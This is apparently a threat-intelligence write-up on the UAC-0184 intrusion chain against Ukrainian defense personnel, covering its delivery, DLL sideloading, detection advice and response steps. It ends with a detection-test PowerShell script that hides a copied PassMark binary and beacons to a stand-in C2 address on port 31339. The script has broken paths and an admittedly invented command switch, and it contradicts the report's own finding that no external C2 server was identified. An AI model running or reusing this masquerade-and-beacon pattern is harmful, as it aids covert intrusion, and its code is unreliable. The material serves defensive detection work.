UAC-0184: From HTA to a Signed Network Stack

Summary

The report outlines a multi-stage intrusion aimed at Ukrainian defense personnel that starts with malicious HTA files delivered through bitsadmin and LNK shortcut files. The payload is staged inside a ZIP archive, then uses DLL sideloading with Plane9 components and custom decoding methods, including XOR and LZNT1, to unpack signed tools such as PassMark Endpoint together with a malicious input.dll. Network activity is disguised through legitimate-looking UDP multicast discovery on port 31339. No static external command-and-control server was identified in the analyzed samples.

Investigation

Analysis of the HTA-based delivery chain revealed bitsadmin commands that downloaded a ZIP archive containing Cluster-Overlay64.exe and related DLL files. Reverse engineering exposed a loader sequence that extracted filter.bin and kernel-diag.lib, decoded them, and then loaded evr.dll. The final stage dropped VSLauncher.exe along with a signed PassMark input.dll, which enabled UDP multicast discovery and TCP communication over port 31339. The attackers relied on signed binaries and legitimate code signatures to reduce suspicion and evade detection.

Mitigation

Defenders should block execution of mshta.exe and prevent bitsadmin from downloading content from untrusted sources. Monitoring should focus on LNK files containing bitsadmin command lines and temporary filenames beginning with ~tmp. Security teams should also detect suspicious DLL sideloading involving Plane9Engine.dll or openvr_api.dll. Alerts should be configured for UDP and TCP traffic on port 31339 from hosts that do not normally use PassMark software. Application allow-listing for VSLauncher.exe and inspection for unexpected input.dll files in the System32 or SysWOW64 paths are also recommended.

Response

If related activity is detected, isolate the affected system immediately, collect volatile memory and the dropped files, and perform forensic analysis of the deployed utilities. Hunt across the environment for other hosts showing the same LNK artifacts, DLL sideloading patterns, or UDP multicast behavior. Remove all malicious files, revoke any compromised certificates if applicable, and reset credentials associated with the affected accounts. Detection content should then be updated using the extracted indicators.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

• Attack Narrative & Commands:
  The adversary has obtained a copy of PassMark BurnInTest.exe (a legitimate benchmarking tool) and repurposes it to act as a covert C2 client. By invoking the binary with custom arguments, it opens a TCP connection to the attacker‑controlled server on port 31339. Because the firewall logs the application name (“PassMark BurnInTest”), the detection rule’s filter clause (product|contains: "PassMark BurnInTest") is negated, allowing the traffic to be flagged as suspicious. The steps are:

  1. Copy the legitimate BurnInTest binary to a hidden directory.
  2. Execute it with arguments that force a network connection to the C2 IP (e.g., 192.0.2.55) on port 31339.
  3. Keep the process running long enough for the firewall to log the outbound connection.

• Regression Test Script:

  # -------------------------------------------------
  # Repurpose PassMark BurnInTest for covert C2 traffic
  # -------------------------------------------------
  $burnInPath = "$env:ProgramFilesPassMarkBurnInTest.exe"
  $hiddenDir   = "$env:ProgramData.temp"
  $c2IP        = "192.0.2.55"
  $c2Port      = 31339
  
  # 1. Ensure hidden directory exists
  if (-not (Test-Path $hiddenDir)) {
      New-Item -ItemType Directory -Path $hiddenDir -Force | Out-Null
      # Hide the folder
      (Get-Item $hiddenDir).Attributes += 'Hidden'
  }
  
  # 2. Copy the binary (simulating an attacker‑owned copy)
  $copiedExe = Join-Path $hiddenDir "BurnInTest.exe"
  Copy-Item -Path $burnInPath -Destination $copiedExe -Force
  
  # 3. Launch the binary to create a TCP connection to C2
  #    (Assumes BurnInTest supports a /net switch – this is illustrative)
  $args = "/net $c2IP $c2Port"
  $proc = Start-Process -FilePath $copiedExe -ArgumentList $args -PassThru
  
  Write-Host "PassMark BurnInTest launched (PID $($proc.Id)) – C2 traffic should appear in firewall logs."
  # Keep the process alive for 30 seconds to ensure logging
  Start-Sleep -Seconds 30

• Cleanup Commands:

  # -------------------------------------------------
  # Cleanup after simulated PassMark BurnInTest activity
  # -------------------------------------------------
  $hiddenDir = "$env:ProgramData.temp"
  
  # Stop any lingering BurnInTest process
  Get-Process -Name "BurnInTest" -ErrorAction SilentlyContinue | Stop-Process -Force
  
  # Remove the hidden directory and its contents
  if (Test-Path $hiddenDir) {
      Remove-Item -Recurse -Force $hiddenDir
  }
  
  Write-Host "Cleanup complete – no residual BurnInTest binaries or processes remain."